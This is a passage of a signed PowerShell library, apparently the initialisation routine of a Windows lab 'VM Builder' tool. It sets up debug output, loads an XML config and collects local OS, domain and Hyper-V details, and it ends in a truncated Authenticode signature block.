  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $grantRunningAttended,
  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $configFile
)
#
# GLOBAL INIT
#
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================

#write-host ("noConfig: $noConfig")
#write-host ("defaultConfig: $defaultConfig")
#write-host ("chooseConfig: $chooseConfig")
#write-host ("askForConfig: $askForConfig")
#write-host ("copyConfig: $copyConfig")

if ($PSCmdlet.ParameterSetName -eq 'noConfig') {

  # Note: The -noConfig parameter is not mandatory explicitly in order
  #       the library can be called without any parameter at all.
  #       But if you call it without a parameter, the -noConfig gets
  #       $false value. Thus we have to rewrite it here implicitly
  #
  #       I do not understand why the simmilar parameter set package
  #       works in the buildup-main.ps1 with default value for the [switch] 
  #       parameter. Another PowerShell weirdness.
  #       
  #       Seems like PowerShell 3 always initializes default parameter values
  #       regardless of their ParameterSet. Thus, if we set "noConfig" to have
  #       a default value in PowerShell 2, it is not initialized in case 
  #       of a different parameter set. While in PowerShell 3, the noConfig
  #       parameter gets initialized to its default value even if the
  #       block is called with a different parameter set.

  $noConfig = $true
}


Define-NullTester

# Note: initialize variables that would normally be initialized from a calling code
#       if we were running as a library
#       The parameters come here in local scope

<#
if (Is-EmptyString $local:rootDir) { 

  $global:rootDir = Join-Path $env:temp 'Sevecek-ADLAB'
  $local:rootDir = $global:rootDir

  #$global:jobInternalId = $null
  $global:dbgOutConsole = $true

} else {
#>

[string] $global:libCommonParentDir = Split-Path -Parent $global:libCommonScriptFileName


[string] $global:rootDir = $local:rootDir

if ($global:rootDir -eq $global:emptyValueMarker) {

  $global:rootDir = $global:libCommonParentDir
}

$global:rootDir = Resolve-PathSafe $global:rootDir -doNotAssert $true

if ($global:rootDir -like '*\') {

  $global:rootDir = $global:rootDir.SubString(0, ($global:rootDir.Length - 1))
}
#}


if (Is-EmptyString $local:outFile) {

  [string] $proposedOutFile = ''
  if (Is-ValidString $global:libCommonParentDir) {

    # Note: Split-Path is stupid like a lot of other things
    #       Split-Path -Leaf c:\test          # = test
    #       Split-Path -Leaf c:\              # = c:\
    #       Split-Path -Leaf c:               # = c:\
    #       Split-Path -Leaf c                # = c
    #       Split-Path -Leaf \\srv\share\sub  # = sub
    #       Split-Path -Leaf \\srv\share      # = - returns empty string !!!!!
    #       Split-Path -Leaf \\srv            # = srv
    $proposedOutFile = Canonicalize-FileName (Split-Path -Leaf $global:libCommonParentDir) $true

    if (Is-EmptyString $proposedOutFile) {

      if ($global:libCommonParentDir -like '\\?*\?*') {

        $proposedOutFile = Canonicalize-FileName ($global:libCommonParentDir.SubString(($global:libCommonParentDir.LastIndexOf('\') + 1))) $true
      }
    }
  }


  if (Is-ValidString $proposedOutFile) {

    $global:outFile = $proposedOutFile

  } else {

    $global:outFile = 'cmd'
  }

  $local:outFile = $global:outFile

} else {

  $global:outFile = $local:outFile
}


[string] $global:outPath = Join-Path $global:rootDir $global:adlabOutputFolder

# Note: cannot simply assign the $askForConfig into the [bool] variable
#       because the parameter does not always have a value and PS 2.0 then
#       raises an error stating that it cannot convert "" to [bool]
[bool] $global:runningAttended = $false
if ($askForConfig) {

  $global:runningAttended = $true
}
if ($grantRunningAttended) {

  $global:runningAttended = $true
}


$global:dbgOutConsole = -not ($local:noDbgCons)
$global:dbgOutFile = -not ($local:noDbgFile)
$global:dbgOut = -not ($local:noDbg)

if (-not $global:dbgOut) {

  $global:dbgOutConsole = $false 
  $global:dbgOutFile = $false 
}

$global:maxDbgFileSize = $local:maxDbgFileSize

#if (Has-Argument $args noConfig) {
if ((-not $forceDbgFile) -and (($noConfig) -and (-not $askForConfig) -and (-not $defaultConfig) -and (-not $chooseConfig))) {

  $global:dbgOutFile = $false
}

#if (Has-Argument $args noDbg) {
<#if ($noDbg) {

  $global:dbgOut = $false
  $global:dbgOutConsole = $false 
  $global:dbgOutFile = $false 
}#>

#if (Has-Argument $args noDbgCons) {
<#if ($noDbgCons) {

  $global:dbgOutConsole = $false 
}#>

#if (Has-Argument $args noDbgFile) {
<#if ($noDbgFile) {

  $global:dbgOutFile = $false
}#>

#if (Has-Argument $args dbgFile) {
<#if ($dbgFile) {

  $global:dbgOutFile = $true
}#>

if ($global:dbgOutFile) {

  Ensure-RootDirExists $global:rootDir
  [void] (PREPAREDBGFILE -initialising $true -reset:$resetDbgFile)
}



if ($noDbgInitialize) {

  $local:noDbgInitialize_saved_dbgOut = $global:dbgOut
  $global:dbgOut = $false
}


DBGVERSIONHEADER 'VM Builder'


# Note: this function might get called automatically if this is .PS1, but if we 
#       use the code as a .PSM1 module, this function will have to be called manually by the
#       customer code. Thus, we cannot output the $libCommonScriptParameters here as
#       they are not populated at all in the case of PSM1 module
DBG ('Parameters: {0}' -f (DBGPRM -parameters $PSBoundParameters -paramSet $PSCmdlet.ParameterSetName))


[System.Xml.XmlDocument] $global:xmlFullConfig = $null
[System.Xml.XmlElement] $global:xmlConfig = $null
[string] $global:configScheme = [string]::Empty


#if (-not (Has-Argument $args noConfig)) {
if (-not ($noConfig)) {
  
  # we are running with config.xml either from command line or as a library
  if (Is-EmptyString $configFile) {
  
    $global:sourceXmlConfigFile = Join-Path $global:rootDir $global:libCommonDefaultXmlConfig

  } else {

    DBG ('Going to use an explicit XML config file: {0}' -f $configFile)
    $global:sourceXmlConfigFile = $configFile
  }

  $global:expandedXmlConfigFile = Join-Path $global:rootDir $global:libCommonDefaultExpandedXmlConfig

  if (-not (LoadExpand-XmlConfig -inXML $global:sourceXmlConfigFile -expandedXMLforReuse $global:expandedXmlConfigFile -attendedOperation:$global:runningAttended -copyConfig:$copyConfig -reuseExpandedConfig:$reuseExpandedConfig -defaultConfig:$defaultConfig -askForConfig:$askForConfig -chooseConfig $chooseConfig -stage $stage -rpOptions $rpOptions -refXmlConfig ([ref] $global:xmlConfig) -refFullXmlConfig ([ref] $global:xmlFullConfig) -refConfigScheme ([ref] $global:configScheme))) {

    DBG ('Exiting due to XML config initialization error')
    exit
  }


  #if (Is-Null $global:xmlConfig.runParams) { DBG "Exiting, initialization of runParams failed." ; exit }

  if (Is-NonNull $global:xmlConfig.runParams) {

    $global:runJobsSynchronous = Parse-BoolSafe $global:xmlConfig.runParams.runJobsSynchronous
    $global:dbgWaitKey = Parse-BoolSafe $global:xmlConfig.runParams.dbgWaitKey
    $global:outItemLimit = Parse-IntSafe $global:xmlConfig.runParams.outItemLimit

    #DBG ("Lib-Common: Config: runJobsSynchronous: {0}" -f $global:runJobsSynchronous)
    #DBG ("Lib-Common: Config: dbgWaitKey: {0}" -f $global:dbgWaitKey)
    #DBG ("Lib-Common: Config: outItemLimit: {0}" -f $global:outItemLimit)
  }

  $global:dbgScheduleOut = Parse-BoolSafe $global:xmlConfig.runParams.dbgScheduleOut
  if ($global:dbgScheduleOut) { DBG ('DBG output sheduling out: {0} ms' -f $global:dbgScheduleOutSleep) }

} else {
  
  DBG "Running in command line mode without !userParams.xml config."
}


DBG ("Running powershell.exe from: {0}" -f $PSHOME)
DBG ("Running this script from: {0}" -f $global:libCommonScriptFileName)
DBG ("Current directory: PS = {0} | C# = {1}" -f (Get-Location).ProviderPath, [System.IO.Directory]::GetCurrentDirectory())
DBGIF $MyInvocation.MyCommand.Name { (Get-Location).Provider.Name -ne 'FileSystem' }
DBG ("Temp directory: {0}" -f $env:temp)

[double] $global:thisCLRVersion = '{0}.{1}' -f $PSVersionTable['CLRVersion'].Major, $PSVersionTable['CLRVersion'].Minor
$global:thisOSVersion = Get-WMIValue '.' 'SELECT * FROM Win32_OperatingSystem' Version
$global:thisOSVersionNumber = Get-OSVersionNumber $global:thisOSVersion
$global:thisOSVersionNumberWithBuild = Get-OSVersionNumber $global:thisOSVersion -includeBuild $true
$global:thisOSVersionShort = Get-OSVersionNumberString $global:thisOSVersion
$global:thisOSBuild = (New-Object Version $global:thisOSVersion).Build
$global:thisOSRole = Get-EnumString $global:domainRoleEnum (Get-WMIValue '.' 'SELECT * FROM Win32_ComputerSystem' DomainRole)
$global:thisComputerNetBIOS = Get-WMIValue '.' 'SELECT * FROM Win32_ComputerSystem' Name
$global:thisComputerHost = Get-WMIValue '.' 'SELECT * FROM Win32_ComputerSystem' DNSHostName
$global:thisComputerHostReg = Get-RegValue '.' 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters' 'Hostname' String
$global:thisComputerDomain = Get-WMIValue '.' 'SELECT * FROM Win32_ComputerSystem' Domain
$global:thisComputerPrimaryDNSSfx = Get-RegValue '.' 'SYSTEM\CurrentControlSet\Services\TcpIp\Parameters' 'Domain' 'String'

$global:thisComputerSID = Get-LocalSAMDatabaseSID

DBGIF $MyInvocation.MyCommand.Name { $global:thisComputerNetBIOS -ne (Get-WMIValue '.' 'SELECT * FROM Win32_OperatingSystem' CSName) }
DBGIF $MyInvocation.MyCommand.Name { ($global:thisOSVersionNumber -gt 5.1) -and (Is-EmptyString $global:thisComputerHost) }
DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $global:thisComputerHostReg }

# Note: these two values 'Hostname' and 'NV Hostname' and the 'Domain' and 'NV Domain' differ just during before restart after renaming or rejoining the computer
DBGIF $MyInvocation.MyCommand.Name { $global:thisComputerHostReg -ne (Get-RegValue '.' 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters' 'NV Hostname' String) }
DBGIF $MyInvocation.MyCommand.Name { $global:thisComputerPrimaryDNSSfx -ne (Get-RegValue '.' 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters' 'NV Domain' String) }

if (Is-EmptyString $global:thisComputerHost) {

  # Note: on Windows XP the DNSHostName is not available
  $global:thisComputerHost = $global:thisComputerHostReg
}


$global:thisOSArchitecture = Get-WMIValue '.' 'SELECT * FROM Win32_OperatingSystem' OSArchitecture # OSArchitecture: 32-bit, 64-bit

# Note: the value of Win32_OperatingSystem OSArchitecture depends on user's language pack so that on Czech user's profile the value
#       is "64bitovy". We can query en-us locale if the language is installed, but if the locale is not installed, you will
#       get the current locale string without an error.
[string] $currentLocale = Get-WMIValue '.' 'SELECT * FROM Win32_OperatingSystem' Locale
if ($currentLocale -ne '0409') {

  if ($global:thisOSArchitecture -like '*64*') {

    $global:thisOSArchitecture = '64-bit'
  
  } elseif ($global:thisOSArchitecture -like '*32*') {

    $global:thisOSArchitecture = '32-bit'
  }
}


if (Is-EmptyString $global:thisOSArchitecture) {
  
  $global:thisOSArchitecture = '32-bit'
}

DBGIF $MyInvocation.MyCommand.Name { -not (($global:thisOSArchitecture -eq '32-bit') -or ($global:thisOSArchitecture -eq '64-bit')) }

if (Is-LocalComputerMemberOfDomain) {

  $global:thisComputerWorkgroup = ''
  $global:thisComputerDomainNetBIOS = Get-LocalComputerNetBIOSDomain
  $global:thisComputerDomainDN = Get-DomainDNfromFQDN $global:thisComputerDomain

} else {

  $global:thisComputerWorkgroup = $global:thisComputerDomain
  $global:thisComputerDomain = ''
  $global:thisComputerDomainNetBIOS = ''
  $global:thisComputerDomainDN = ''
}

[string[]] $global:thisComputerLocalMachineNames = @(
    'localhost',
    $global:thisComputerHost,
    $global:thisComputerNetBIOS,
    ('{0}.{1}' -f $global:thisComputerHost, $global:thisComputerPrimaryDNSSfx).Trim('.')
    # Note: no other combination, such as NetBIOS.anything, or even the Host.DomainDifferentThanPrimaryDns
    #       resolve as 127.0.0.1/::1
    ) | select -Unique


$global:thisProcessArchitecture = Get-ProcessArchitecture

# Note: side reason to verify our registry version checker
$osVersionFromRegistry = Get-OSVersionFromRegistry
$global:thisOSVersionNormal = Normalize-OSVersionString $osVersionFromRegistry.version $osVersionFromRegistry.isClient
DBGIF $MyInvocation.MyCommand.Name { $thisOSVersionNormal -ne (Normalize-OSVersionString $global:thisOSVersion ($global:thisOSRole -like '*workstation')) }

[bool] $global:runningInHyperV = ((Get-WMIValue '.' 'SELECT * FROM Win32_BaseBoard' Manufacturer) -eq 'Microsoft Corporation') -and ((Get-WMIValue '.' 'SELECT * FROM Win32_BaseBoard' Product) -eq 'Virtual Machine')
DBGIF $MyInvocation.MyCommand.Name { (-not $global:runningInHyperV) -and ((Get-WMIValue '.' 'SELECT * FROM Win32_BaseBoard' Manufacturer) -eq 'Microsoft Corporation') }
DBGIF $MyInvocation.MyCommand.Name { $global:runningInHyperV -and ((Get-WMIValue '.' 'SELECT * FROM Win32_ComputerSystem' Manufacturer) -ne 'Microsoft Corporation') }
DBGIF $MyInvocation.MyCommand.Name { $global:runningInHyperV -and ((Get-WMIValue '.' 'SELECT * FROM Win32_ComputerSystem' Model) -ne 'Virtual Machine') }
DBG ('Running in VM: {0}' -f $global:runningInHyperV)

$global:thisComputerFQDN = "$global:thisComputerHost.$global:thisComputerPrimaryDNSSfx".Trim('.')

DBG ('Computer domain names: dns = {0} | netBIOS = {1} | primarySfx = {2}' -f $global:thisComputerDomain, $global:thisComputerDomainNetBIOS, $global:thisComputerPrimaryDNSSfx)
DBG ("Running under: {0} \ {1} | {2}" -f ([System.Environment]::UserDomainName), ([System.Environment]::UserName), [Security.Principal.WindowsIdentity]::GetCurrent().Name)
DBG ('PS versions: ps = {0} | netfx = {1} | bit = {2}' -f $PSVersionTable['PSVersion'], $PSVersionTable['CLRVersion'], $global:thisProcessArchitecture)

#$currentPrincipal = [Security.Principal.WindowsIdentity]::GetCurrent($false)
#DBG ("Running under: {0} = {1}" -f $currentPrincipal.Name, $currentPrincipal.User.Value)
$currentProcess = [Diagnostics.Process]::GetCurrentProcess()
DBG ("Process: {0} | {1}" -f $currentProcess.Id, $currentProcess.Path)
#$global:memberOfAdministrators = Contains-Safe ($currentPrincipal.Groups | Select -Expand Value) 'S-1-5-32-544'
$global:memberOfAdministrators = Is-CurrentUser -localAdministrators $true
DBG ('Running as member of Administrators: {0}' -f $global:memberOfAdministrators)

if ($mustBeAdministrators -and (-not $global:memberOfAdministrators)) {

  $msgNotRunningAsAdministrators = 'Does not currently run as member of local Administrators group'
  DBGIF $msgNotRunningAsAdministrators { $true }
  throw $msgNotRunningAsAdministrators
  exit 1
}

# Note: it is weird that for SYSTEM account which is a domaim member the values are
#       [System.Environment]::UserDomainName = GPS
#       [System.Environment]::UserName = SYSTEM
#       [Security.Principal.WindowsIdentity]::GetCurrent().Name = NT AUTHORITY\SYSTEM
#       [Security.Principal.WindowsIdentity]::GetCurrent().User.Value = S-1-5-18
#       the similar applies to NetworkService while LocalService is correct, because its UserDomainName is NT AUTHORITY correctly
# Note: we have a similar thing in the Is-CurrentUser
# DBGIF $MyInvocation.MyCommand.Name { -not (
#  ($currentPrincipal.Name -eq ('{0}\{1}' -f ([System.Environment]::UserDomainName), ([System.Environment]::UserName))) -or
#  (($currentPrincipal.User.Value -eq 'S-1-5-18') -and ($currentPrincipal.Name -eq 'NT AUTHORITY\SYSTEM')) -or
#  (($currentPrincipal.User.Value -eq 'S-1-5-20') -and ($currentPrincipal.Name -eq 'NT AUTHORITY\NETWORK SERVICE'))
#  ) }


if (-not $noConfig) {

  Save-XmlSafe -xmlDocument $global:xmlFullConfig -xmlFile $global:expandedXmlConfigFile
}

DBG ('System paths: libDir = {0} | rootDir = {1} | outPath = {2} | outFile = {3}' -f $global:libCommonParentDir, $global:rootDir, $global:outPath, $global:outFile)



if ($global:thisOSVersionNumber -ge 6.2) {

  $global:virtualizationWmiAPIversion = 2
  $global:virtualizationNamespace = 'root\virtualization\v2'
  $global:virtualizationNamespaceExists = (Is-NonNull (Get-WMIQuerySingleObject '.' 'SELECT * FROM __Namespace WHERE Name = "virtualization"' -namespace root)) -and (Is-NonNull (Get-WMIQuerySingleObject '.' 'SELECT * FROM __Namespace WHERE Name = "v2"' -namespace 'root\virtualization'))
   
} else {

  $global:virtualizationWmiAPIversion = 1
  $global:virtualizationNamespace = 'root\virtualization'
  $global:virtualizationNamespaceExists = Is-NonNull (Get-WMIQuerySingleObject '.' 'SELECT * FROM __Namespace WHERE Name = "virtualization"' -namespace root)
}


if (($env:Path -notlike "$global:libCommonParentDir;*") -and 
    ($env:Path -notlike "*;$global:libCommonParentDir;*") -and 
    ($env:Path -notlike "*;$global:libCommonParentDir")) {

  $env:Path = '{0};{1}' -f $global:libCommonParentDir, $env:Path
}



if ($noDbgInitialize) {

  $global:dbgOut = $local:noDbgInitialize_saved_dbgOut
}

$global:libCommonScriptInitialized = $true
DBGSTART ; DBGEND # Note: just grab any remaining error messages
}
#
# GLOBAL INIT
#
# ==========================================================
# ==========================================================
# ==========================================================
# Note: use "splatting" to forward the script parameters into the initialization function
Init-LibCommon @global:libCommonScriptParameters






# SIG # Begin signature block
# MIIYMAYJKoZIhvcNAQcCoIIYITCCGB0CAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCBJMUje/SnfsmN+
# 1UzlUh4xgMlIaH/S85jIvFUInAhKfaCCE0cwggYEMIID7KADAgECAgoqHIRwAAEA
# AAB/MA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAkNaMRcwFQYDVQQIEw5DemVj
# aCBSZXB1YmxpYzENMAsGA1UEBxMEQnJubzEQMA4GA1UEChMHU2V2ZWNlazEjMCEG
# A1UEAxMaU2V2ZWNlayBFbnRlcnByaXNlIFJvb3QgQ0EwHhcNMTkwNjExMTkyMzMy
# WhcNMjQwNjA5MTkyMzMyWjCBjzELMAkGA1UEBhMCQ1oxFzAVBgNVBAgTDkN6ZWNo
# IFJlcHVibGljMQ0wCwYDVQQHEwRCcm5vMRwwGgYDVQQKExNJbmcuIE9uZHJlaiBT
# ZXZlY2VrMRcwFQYDVQQDEw5PbmRyZWogU2V2ZWNlazEhMB8GCSqGSIb3DQEJARYS
# b25kcmVqQHNldmVjZWsuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
# AQEAnkjWNkK4FfUUN8iAN91ry+wsSn8cFKJbMnROAqTrx8t3H315p2/bUG2DosCF
# Odu0WcaTOLdm5obhT+/3O7BqpdcnlWKlSEz4AL9zQeCbe4++NObBVPBbPE16j9C4
# xELoXW/Ti86C2PEkN5azGUvxGxzQQ45g32OsEI+Bh05qHMkk3oQ6L8O0Fpd5W4e+
# L4HuKS3JOikNhhryTNPD9grF/0wXTzn94TrL1GohuaCPh8g9HOtMoDCd+ExnqV8q
# 4k60D37BOK1I81hYFIBn8MvCsjMRC5TK87MtI7aUUIeve5kopc8ZpxNti3F/+Puh
# 4UUxL3nKjfAM6HE0b7FqkfkRpwIDAQABo4IBgjCCAX4wEwYDVR0lBAwwCgYIKwYB
# BQUHAwMwDgYDVR0PAQH/BAQDAgbAMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUH
# AwMwHQYDVR0OBBYEFOKbNkkiAht2GxCISJMJxLg4gOC9MB0GA1UdEQQWMBSBEm9u
# ZHJlakBzZXZlY2VrLmNvbTAfBgNVHSMEGDAWgBQNnMgyfdUi8l9UfithS4FQ88Vs
# wDBSBgNVHR8ESzBJMEegRaBDhkFodHRwOi8vcGtpLnNldmVjZWsuY29tL0NBL1Nl
# dmVjZWslMjBFbnRlcnByaXNlJTIwUm9vdCUyMENBKDEpLmNybDCBhgYIKwYBBQUH
# AQEEejB4ME0GCCsGAQUFBzAChkFodHRwOi8vcGtpLnNldmVjZWsuY29tL0NBL1Nl
# dmVjZWslMjBFbnRlcnByaXNlJTIwUm9vdCUyMENBKDEpLmNydDAnBggrBgEFBQcw
# AYYbaHR0cDovL3BraS5zZXZlY2VrLmNvbS9vY3NwMA0GCSqGSIb3DQEBCwUAA4IC
# AQCfr6XDtt/O8OBr+X5l49UBLaJrjUXHkAHofdC7p7BLCXIs4GYIti1lf6pas5yB
# Q428aKITITq/vEHUTyiiyKtzVkafILWXXKPxy+zmmuw9odB3Hea4ECNpcaG8UNtz
# vMm1Dr0ZrkENhcv6I3tNhRr2AOE9AKOfnVEullFD/mZqfmaNkhpnl31jk7OMSUQc
# oY8qD6BDQP9371C10gJOmp57sHfPa4Vn5E4aNzn8+o9C9HI7nNagZF5BamKOFdR2
# ui7K3krMbTuDHo+ZcA9nHnzZqiVKpEBFu8lGv9Mf+GDb9yxz6EjV3xS2RcnywX2v
# z0VUt2NGno8LudrnWpgrRy4Sl7x6FwVVKtS/o7zFSIiHgntIKFv8urSKSTukCLFK
# Y9fBIDDlWFV1ZV1DNpNWxnexWIRv2AH7YlzKQCA4Rysn01hVeBGsWFkCr9J33LmV
# enQYpk9eoYMPRwAYg48r65wOOOzLvmyLSGllH88BMvmTQ9myXqwp6NDH1psljXTl
# PUbpf7w6IZwsY0dhGhP9iyqbcrGdK0Bnf8Za6Qdj3iXtwd1VgpatFZrxOM5KawCL
# pkYl1ABupbzNpWzmC+nfymqwbYiCogPt1vHOyF4EJ73ExVDCqXkpiNvFRqmu1eaZ
# IOdbPCdl00a9rk52NKqo/BUsw16TKsDEYTA/7ACbEsnERzCCBmowggVSoAMCAQIC
# EAMBmgI6/1ixa9bV6uYX8GYwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCVVMx
# FTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNv
# bTEhMB8GA1UEAxMYRGlnaUNlcnQgQXNzdXJlZCBJRCBDQS0xMB4XDTE0MTAyMjAw
# MDAwMFoXDTI0MTAyMjAwMDAwMFowRzELMAkGA1UEBhMCVVMxETAPBgNVBAoTCERp
# Z2lDZXJ0MSUwIwYDVQQDExxEaWdpQ2VydCBUaW1lc3RhbXAgUmVzcG9uZGVyMIIB
# IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo2Rd/Hyz4II14OD2xirmSXU7
# zG7gU6mfH2RZ5nxrf2uMnVX4kuOe1VpjWwJJUNmDzm9m7t3LhelfpfnUh3SIRDsZ
# yeX1kZ/GFDmsJOqoSyyRicxeKPRktlC39RKzc5YKZ6O+YZ+u8/0SeHUOplsU/UUj
# joZEVX0YhgWMVYd5SEb3yg6Np95OX+Koti1ZAmGIYXIYaLm4fO7m5zQvMXeBMB+7
# NgGN7yfj95rwTDFkjePr+hmHqH7P7IwMNlt6wXq4eMfJBi5GEMiN6ARg27xzdPpO
# 2P6qQPGyznBGg+naQKFZOtkVCVeZVjCT88lhzNAIzGvsYkKRrALA76TwiRGPdwID
# AQABo4IDNTCCAzEwDgYDVR0PAQH/BAQDAgeAMAwGA1UdEwEB/wQCMAAwFgYDVR0l
# AQH/BAwwCgYIKwYBBQUHAwgwggG/BgNVHSAEggG2MIIBsjCCAaEGCWCGSAGG/WwH
# ATCCAZIwKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMw
# ggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgA
# aQBzACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAYwBvAG4AcwB0AGkAdAB1AHQA
# ZQBzACAAYQBjAGMAZQBwAHQAYQBuAGMAZQAgAG8AZgAgAHQAaABlACAARABpAGcA
# aQBDAGUAcgB0ACAAQwBQAC8AQwBQAFMAIABhAG4AZAAgAHQAaABlACAAUgBlAGwA
# eQBpAG4AZwAgAFAAYQByAHQAeQAgAEEAZwByAGUAZQBtAGUAbgB0ACAAdwBoAGkA
# YwBoACAAbABpAG0AaQB0ACAAbABpAGEAYgBpAGwAaQB0AHkAIABhAG4AZAAgAGEA
# cgBlACAAaQBuAGMAbwByAHAAbwByAGEAdABlAGQAIABoAGUAcgBlAGkAbgAgAGIA
# eQAgAHIAZQBmAGUAcgBlAG4AYwBlAC4wCwYJYIZIAYb9bAMVMB8GA1UdIwQYMBaA
# FBUAEisTmLKZB+0e36K+Vw0rZwLNMB0GA1UdDgQWBBRhWk0ktkkynUoqeRqDS/Qe
# icHKfTB9BgNVHR8EdjB0MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5jb20v
# RGlnaUNlcnRBc3N1cmVkSURDQS0xLmNybDA4oDagNIYyaHR0cDovL2NybDQuZGln
# aWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElEQ0EtMS5jcmwwdwYIKwYBBQUHAQEE
# azBpMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wQQYIKwYB
# BQUHMAKGNWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3Vy
# ZWRJRENBLTEuY3J0MA0GCSqGSIb3DQEBBQUAA4IBAQCdJX4bM02yJoFcm4bOIyAP
# gIfliP//sdRqLDHtOhcZcRfNqRu8WhY5AJ3jbITkWkD73gYBjDf6m7GdJH7+IKRX
# rVu3mrBgJuppVyFdNC8fcbCDlBkFazWQEKB7l8f2P+fiEUGmvWLZ8Cc9OB0obzpS
# CfDscGLTYkuw4HOmksDTjjHYL+NtFxMG7uQDthSr849Dp3GdId0UyhVdkkHa+Q+B
# 0Zl0DSbEDn8btfWg8cZ3BigV6diT5VUW8LsKqxzbXEgnZsijiwoc5ZXarsQuWaBh
# 3drzbaJh6YoLbewSGL33VVRAA5Ira8JRwgpIr7DUbuD0FAo6G+OPPcqvao173NhE
# MIIGzTCCBbWgAwIBAgIQBv35A5YDreoACus/J7u6GzANBgkqhkiG9w0BAQUFADBl
# MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
# d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv
# b3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMjExMTEwMDAwMDAwWjBiMQswCQYDVQQG
# EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl
# cnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBBc3N1cmVkIElEIENBLTEwggEiMA0G
# CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDogi2Z+crCQpWlgHNAcNKeVlRcqcTS
# QQaPyTP8TUWRXIGf7Syc+BZZ3561JBXCmLm0d0ncicQK2q/LXmvtrbBxMevPOkAM
# Rk2T7It6NggDqww0/hhJgv7HxzFIgHweog+SDlDJxofrNj/YMMP/pvf7os1vcyP+
# rFYFkPAyIRaJxnCI+QWXfaPHQ90C6Ds97bFBo+0/vtuVSMTuHrPyvAwrmdDGXRJC
# geGDboJzPyZLFJCuWWYKxI2+0s4Grq2Eb0iEm09AufFM8q+Y+/bOQF1c9qjxL6/s
# iSLyaxhlscFzrdfx2M8eCnRcQrhofrfVdwonVnwPYqQ/MhRglf0HBKIJAgMBAAGj
# ggN6MIIDdjAOBgNVHQ8BAf8EBAMCAYYwOwYDVR0lBDQwMgYIKwYBBQUHAwEGCCsG
# AQUFBwMCBggrBgEFBQcDAwYIKwYBBQUHAwQGCCsGAQUFBwMIMIIB0gYDVR0gBIIB
# yTCCAcUwggG0BgpghkgBhv1sAAEEMIIBpDA6BggrBgEFBQcCARYuaHR0cDovL3d3
# dy5kaWdpY2VydC5jb20vc3NsLWNwcy1yZXBvc2l0b3J5Lmh0bTCCAWQGCCsGAQUF
# BwICMIIBVh6CAVIAQQBuAHkAIAB1AHMAZQAgAG8AZgAgAHQAaABpAHMAIABDAGUA
# cgB0AGkAZgBpAGMAYQB0AGUAIABjAG8AbgBzAHQAaQB0AHUAdABlAHMAIABhAGMA
# YwBlAHAAdABhAG4AYwBlACAAbwBmACAAdABoAGUAIABEAGkAZwBpAEMAZQByAHQA
# IABDAFAALwBDAFAAUwAgAGEAbgBkACAAdABoAGUAIABSAGUAbAB5AGkAbgBnACAA
# UABhAHIAdAB5ACAAQQBnAHIAZQBlAG0AZQBuAHQAIAB3AGgAaQBjAGgAIABsAGkA
# bQBpAHQAIABsAGkAYQBiAGkAbABpAHQAeQAgAGEAbgBkACAAYQByAGUAIABpAG4A
# YwBvAHIAcABvAHIAYQB0AGUAZAAgAGgAZQByAGUAaQBuACAAYgB5ACAAcgBlAGYA
# ZQByAGUAbgBjAGUALjALBglghkgBhv1sAxUwEgYDVR0TAQH/BAgwBgEB/wIBADB5
# BggrBgEFBQcBAQRtMGswJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0
# LmNvbTBDBggrBgEFBQcwAoY3aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0Rp
# Z2lDZXJ0QXNzdXJlZElEUm9vdENBLmNydDCBgQYDVR0fBHoweDA6oDigNoY0aHR0
# cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElEUm9vdENBLmNy
# bDA6oDigNoY0aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJl
# ZElEUm9vdENBLmNybDAdBgNVHQ4EFgQUFQASKxOYspkH7R7for5XDStnAs0wHwYD
# VR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wDQYJKoZIhvcNAQEFBQADggEB
